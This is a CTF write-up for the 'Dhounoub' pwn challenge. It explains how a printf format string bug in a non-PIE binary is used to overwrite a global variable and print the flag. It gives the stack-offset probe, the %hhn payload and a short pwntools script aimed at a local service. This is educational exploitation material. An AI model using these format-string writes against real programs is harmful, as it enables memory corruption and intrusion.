Ramadan CTF 2026 - Dhounoub
[ Dhounoub ] Writeup
Category: Pwn (Format String)
Difficulty: Easy-Medium
Author: 4n7h4r4x
Access all challenges here:
GitHub Repository
Tools Used
ghidra/gdbfor reverse engineeringpython3 (pwntools)for exploit scripting
Overview
“Dhounoub” means “sins” in Arabic – fitting for a Ramadan-themed challenge about clearing them out. The binary has a format string vulnerability that we can use to overwrite a global variable and unlock the flag.
Initial Recon
Running file and checksec on the binary:
Key observation: the binary is non-PIE (no position-independent executable). This means all addresses are fixed and known at compile time – great for format string attacks since we know exactly where our target lives.
Reverse Engineering
Opening the binary in Ghidra, we find the dhounoub_test function:
Here’s the logic:
- A local variable is initialized to
0. - Our input (up to
0x206bytes) is read into a stack buffer. - Our input is passed directly to
printf(input)– format string vulnerability! - It then checks if
0 - dhounoub > 0(wheredhounoubis a global variable initialized to0). For this check to pass,dhounoubmust be negative (i.e., its most significant bit must be set). - If the check passes, it opens
flag.txtand prints the flag.
So our goal is: use the format string vulnerability to set the dhounoub global variable to a negative value (like 0xffffffff).
Tip: In a non-PIE binary, you can find the address of any global symbol with
readelf -s ./dhounoub | grep dhounoubor directly in Ghidra or via gdb xD.
Finding Our Stack Offset
Before we can write anything with format strings, we need to know where our input buffer sits on the stack. We send a pattern and look for it:
1
AAAAAAAA.%6$p.%7$p.%8$p...%16$p...%20$p
After testing, our buffer starts at position 16 on the stack (64-bit). This means %16$p will print the first 8 bytes of our input.
Tip: In 64-bit format string exploits, the first 6 arguments go through registers (rdi, rsi, rdx, rcx, r8, r9), then stack positions start. Your buffer’s position depends on how deep on the stack it lives.
Crafting the Payload
Since the binary is non-PIE, the dhounoub symbol is at a fixed address. We need to make it negative, so we overwrite its most significant byte (byte at dhounoub + 3 for a 4-byte int) with 0xff.
The format string %Nx prints N characters (padding), and %K$hhn writes the number of characters printed so far (mod 256) into the byte pointed to by the K-th argument.
We want to write 0xff (255) to dhounoub + 3:
- Print exactly 255 characters:
%255x - Write that count as a single byte:
%18$hhn(position 18 = our address on the stack after padding) - Place the target address after the format string, aligned to position 18
1
payload = b"%255x%18$hhnAAAA" + p64(dhounoub + 3)
The AAAA padding ensures the address is properly aligned to the 18th stack position.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.binary = elf = ELF("./dhounoub", checksec=False)
#p = elf.process()
p = remote("localhost", 8080)
offset = 16
dhounoub = elf.sym.dhounoub
value = 0xffffffff
# MANUAL payload
pay = b"%255x%18$hhnAAAA" + p64(dhounoub + 3)
p.recvuntil(b">")
p.send(pay)
p.interactive()
Key Takeaways
- Format string vulnerabilities let you both read (
%p,%x) and write (%n,%hn,%hhn) arbitrary memory. %hhnwrites a single byte – the number of characters printed so far, modulo 256. This gives precise control.- In non-PIE binaries, global variable addresses are fixed, making format string writes straightforward since you don’t need to leak anything first.
- When you need a variable to be negative (signed comparison), setting the MSB to
0xffdoes the trick.
Helpful Resources
- Format String Exploitation - LiveOverflow
- printf format string attack explained
- razvi overflow solving pwn 108 from THM pwn 101
Thanks for reading!





